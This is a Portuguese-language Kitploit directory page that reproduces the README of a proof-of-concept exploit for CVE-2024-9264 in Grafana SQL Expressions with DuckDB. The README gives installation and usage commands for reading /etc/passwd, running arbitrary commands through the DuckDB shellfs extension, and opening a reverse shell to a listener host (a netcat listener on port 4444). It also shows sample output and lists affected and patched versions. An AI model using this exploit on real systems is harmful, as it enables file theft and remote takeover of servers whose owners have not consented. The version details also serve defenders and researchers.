Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana Expressões SQL DuckDB LFI/RCE PoC | Kitploit
Ferramentas/GitHubGitHub/ozcanpng/cve-2024-9264
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAprendizado e Educação
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana Expressões SQL DuckDB LFI/RCE PoC

Ver Repositório
11há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-9264 - PoC de LFI/RCE em Expressões SQL do Grafana com DuckDB

Prova de conceito em Python para a CVE-2024-9264, uma vulnerabilidade em Expressões SQL do Grafana que pode permitir inclusão local de arquivos e execução de comandos por meio de acesso autenticado quando o duckdb está disponível no PATH do processo do Grafana.

Somente para testes autorizados e pesquisa. Não use contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.


O que faz

acesso autenticado à API do Grafana -> consulta DuckDB de Expressões SQL -> leitura de arquivo -> execução opcional de comandos via shellfs
  1. Envia uma solicitação autenticada para o endpoint de consulta do datasource de Expressões SQL do Grafana.
  2. Lê arquivos com read_blob() do DuckDB. Se for solicitada a execução de comandos, /etc/passwd é usado primeiro como arquivo de validação padrão.
  3. Opcionalmente, carrega o shellfs do DuckDB e executa um comando por meio de uma chamada read_csv() com suporte a pipe.
  4. Lê a saída do comando de /tmp/cve_2024_9264_out e imprime o resultado decodificado.

O endpoint vulnerável pode ser chamado diretamente por meio da API; não é necessária interação com a interface do dashboard. A autenticação continua sendo necessária.


Capturas de tela

Execução de comandos

Prova da execução de comando

Payload de reverse shell

Entrega do payload de reverse shell

Listener de reverse shell

Listener do reverse shell


Instalação

git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

Uso

Leitura de arquivos

python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

Quando --file é usado sozinho, o script lê esse arquivo diretamente e imprime o conteúdo decodificado na seção de resultados da leitura de arquivos.

Execução de comandos

python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

O script primeiro executa uma validação padrão de leitura do arquivo /etc/passwd e depois entrega o payload do comando. Na seção de resultados, ele imprime a saída decodificada do comando em vez da resposta JSON bruta do Grafana.

Reverse shell

Inicie um listener:

rlwrap nc -lvnp 4444

Envie o payload de reverse shell:

python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

Dry Run

python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

Depuração

python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

Opções

Estas opções são baseadas na CLI atual do script:

-u, --url, --target TARGET
                        URL de destino, ex.: http://localhost:3000
--username USERNAME     Nome de usuário do Grafana. Padrão: admin
--password PASSWORD     Senha do Grafana. Padrão: admin
--file FILE             Caminho do arquivo a ser lido. Caminho padrão de prova: /etc/passwd
--expected-marker MARKER
                        Marcador esperado na resposta da leitura do arquivo. Padrão: root:
--cmd CMD               Comando a ser executado pelo caminho shellfs do DuckDB
--reverse-shell         Executa um payload de reverse shell em bash
--lhost LHOST           Host do listener para --reverse-shell
--lport LPORT           Porta do listener para --reverse-shell
--timeout TIMEOUT       Tempo limite de HTTP em segundos. Padrão: 20
--verify-tls            Verifica certificados TLS. Padrão: ativado
-k, --insecure          Desativa a verificação de certificados TLS
--dry-run               Imprime metadados do alvo e do payload sem enviar solicitações
--debug                 Imprime metadados de depuração das solicitações

Exemplo de saída

Leitura de arquivos

[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Execução de comandos

[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

Produtos afetados

ProdutoVersão afetadaAcesso necessárioImpacto
Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x e 11.2.x anteriores às versões corrigidas de segurançaVisualizador (Viewer) ou superiorInclusão local de arquivos e injeção de comandos quando o DuckDB está presente no PATH do Grafana

O Grafana observa que a exploração exige que o binário duckdb esteja presente no PATH do processo do Grafana; as distribuições normais do Grafana não instalam o DuckDB por padrão.


Observações

  • São necessárias credenciais válidas do Grafana.
  • A conta deve ter permissões de Visualizador (Viewer) ou superiores.
  • A exploração direta pela API não significa exploração não autenticada; as solicitações ainda precisam de uma sessão válida ou de credenciais de Autenticação Básica (Basic Auth).
  • A leitura de arquivos é usada como primeira etapa de validação antes da execução de comandos.
  • A execução de comandos depende do DuckDB e do comportamento da extensão shellfs no ambiente de destino.
  • Para alvos TLS que usam certificados autoassinados, use -k ou --insecure.
  • As versões de segurança corrigidas incluem Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 e 11.2.2+security-01.

Referências

  • Aviso do Grafana - CVE-2024-9264
  • Blog de lançamento de segurança do Grafana
  • NVD - CVE-2024-9264

Autor

ozcanpng - github.com/ozcanpng - ozcanpng.dev

Baixar ferramenta